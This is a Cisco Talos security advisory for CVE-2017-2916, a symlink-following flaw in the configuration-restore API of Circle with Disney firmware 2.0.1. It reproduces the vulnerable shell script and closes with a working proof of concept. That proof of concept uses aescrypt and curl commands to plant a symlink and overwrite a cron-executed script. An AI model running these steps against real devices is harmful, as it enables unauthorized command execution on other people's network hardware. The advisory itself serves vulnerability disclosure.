Headline
CVE-2017-2916: TALOS-2017-0423 || Cisco Talos Intelligence Group
An exploitable vulnerability exists in the /api/CONFIG/restore functionality of Circle with Disney running firmware 2.0.1. Specially crafted network packets can cause an arbitrary file to be overwritten. An attacker can send an HTTP request to trigger this vulnerability.
Summary
An exploitable vulnerability exists in the /api/CONFIG/restore functionality of Circle with Disney running firmware 2.0.1. Specially crafted network packets can cause an arbitrary file to be overwritten. An attacker can send an HTTP request trigger this vulnerability.
Tested Versions
Circle with Disney 2.0.1
Product URLs
https://meetcircle.com/
CVSSv3 Score
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE
CWE-59: Improper Link Resolution Before File Access (‘Link Following’)
Details
Circle with Disney is a network device used to monitor internet use of children on a given network.
Circle allows for backing up and restoring configuration backups using API commands. Backups can be performed using the command “/api/CONFIG/backup”, which will return an encrypted archive. Encryption is performed using the aescrypt binary and the password used is the one extracted from the appid parameter of the API command. Before encryption, the backup binary is a gzipped tar archive with the following contents:
configure.xml
backup.version
photos/
photos/user.0.photo
photos/user.1.photo
...
The archive contains a copy of “configure.xml”, the “backup.version” file to ensure compatibility, and a “photos” directory containing profile’s photos.
Vulnerable code exists in the “/api/CONFIG/restore” command, which executes the script “/mnt/shares/usr/bin/scripts/restore_backup.sh”. This command must be invoked using a POST request and needs 3 parameters: a valid token, an appid (decryption key) and the encrypted configuration binary. The handler in the apid binary will receive the restore request and call “restore_backup.sh”:
/mnt/shares/usr/bin/scripts/restore_backup.sh /tmp/postfile.bin appid 66
where “postfile.bin” is the encrypted binary and “appid” is taken from the request. Contents of “restore_backup.sh” are shown below:
#!/bin/sh
if [ $# != 3 ] ; then
echo "restore_backup.sh <filename> <password> <max profiles>"
exit 1
fi
CIRCLE_ROOT=`cat /tmp/CIRCLE_ROOT`
CIRCLE_BASE=`cat /tmp/CIRCLE_BASE`
#clear out any existing old backup files
rm -rf $CIRCLE_ROOT/backup.tgz $CIRCLE_ROOT/backup/
/tmp/aescrypt -d -p $2 -o $CIRCLE_ROOT/backup.tgz $1 # [1]
if [ ! -s $CIRCLE_ROOT/backup.tgz ] ; then
echo "failed to decrypt backup"
exit 1
fi
mkdir -p $CIRCLE_ROOT/backup
tar -C $CIRCLE_ROOT/backup/ -xzf $CIRCLE_ROOT/backup.tgz # [2]
if [ ! -s $CIRCLE_ROOT/backup/configure.xml -o ! -d $CIRCLE_ROOT/backup/photos ] ; then
echo "missing files in backup"
rm -rf $CIRCLE_ROOT/backup.tgz $CIRCLE_ROOT/backup/
exit 1
fi
check_failed=0
#check to make sure current version >= backup version
if [ -s $CIRCLE_ROOT/backup/backup.version ] ; then
v_current=`cat $CIRCLE_BASE/VERSION | cut -f 1 -d -`
v_backup=`cat $CIRCLE_ROOT/backup/backup.version | cut -f 1 -d -`
if [ "$v_current" \< "$v_backup" ] ; then
echo "restore failed: current version less than backup version"
check_failed=2
fi
fi
#check to make sure number of profiles <= max number of profiles
num_profiles=`grep -o "<user pid=" $CIRCLE_ROOT/backup/configure.xml | wc -l`
if [ $num_profiles -gt $3 ] ; then
echo "restore failed: too many profiles in backup"
check_failed=3
fi
#simple checks on configure.xml
grep -q "<config>" $CIRCLE_ROOT/backup/configure.xml || check_failed=1
grep -q "<wifi>" $CIRCLE_ROOT/backup/configure.xml || check_failed=1
grep -q "<overall>" $CIRCLE_ROOT/backup/configure.xml || check_failed=1
grep -q "<users>" $CIRCLE_ROOT/backup/configure.xml || check_failed=1
grep -q "<devices>" $CIRCLE_ROOT/backup/configure.xml || check_failed=1
grep -q "<contact>" $CIRCLE_ROOT/backup/configure.xml || check_failed=1
if [ $check_failed -gt 0 ] ; then
echo "bad configuration file"
rm -rf $CIRCLE_ROOT/backup.tgz $CIRCLE_ROOT/backup/
exit $check_failed
fi
#replace configure.xml and photos/ with backups
cp -f $CIRCLE_ROOT/backup/configure.xml $CIRCLE_ROOT/configure.xml
rm -rf $CIRCLE_ROOT/photos/
cp -rf $CIRCLE_ROOT/backup/photos/ $CIRCLE_ROOT/photos/ # [3]
rm -rf $CIRCLE_ROOT/backup.tgz $CIRCLE_ROOT/backup/
#clear out old tracking files
rm -rf $CIRCLE_ROOT/tracking/*
echo "configuration restored from backup"
exit 0
Note that the value of “CIRCLE_ROOT” is “/mnt/shares/usr/bin/”. At [1] the binary is decrypted and at [2] it’s extracted in “/mnt/shares/usr/bin/backup”. After a few checks files are copied from the temporary backup directory to their real destinations. In particular at [3] all the files contained in the “photos” directory will be copied to “/mnt/shares/usr/bin/photos”.
No restrictions are in place on the contents of the “photos” directory: an attacker may include a symbolic link to any file in the system which might cause future operations to have an unexpected behavior.
Indeed, this would allow an attacker to overwrite any file in the system. Consider the following symbolic link is copied to “photos/”:
user.123.photo -> /mnt/shares/usr/bin/scripts/check_system_time.sh
An attacker, using the API command “/api/UPDATE/users/user/photo” can overwrite the photo for user with pid 123, which will in turn overwrite the file “check_system_time.sh” with arbitrary data.
Exploit Proof-of-Concept
The following proof of concept shows how to run an arbitrary command on the device, in this case the script power_down.sh is executed.
-- create backup binary
$ sAppid="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$ tree backup
backup
├── backup.version
├── configure.xml
└── photos
└── user.123.photo -> /mnt/shares/usr/bin/scripts/check_system_time.sh
$ tar -C backup -cvzf backup.tgz configure.xml photos backup.version
$ aescrypt -e -p $sAppid -o backup.bin backup.tgz
-- send binary for config restore
$ sCmd="/mnt/shares/usr/bin/scripts/circle/power_down.sh"
$ curl -k "https://${sIP}:4567/api/CONFIG/restore" -F "token=${sToken}" -F "appid=${sAppid}" -F "[email protected]"
-- wait for the device to reboot
-- overwrite "check_system_time.sh"
$ curl -k "https://${sIP}:4567/api/UPDATE/users/user/photo" --data "token=${sToken}&user.pid=123&photo=${sCmd}"
-- in 2 minutes, "check_system_time.sh" will be executed by a cronjob
Timeline
2017-08-29 - Vendor Disclosure
2017-10-31 - Public Release
Discovered by Claudio Bozzato and Lilith Wyatt <(^_^)> of Cisco Talos.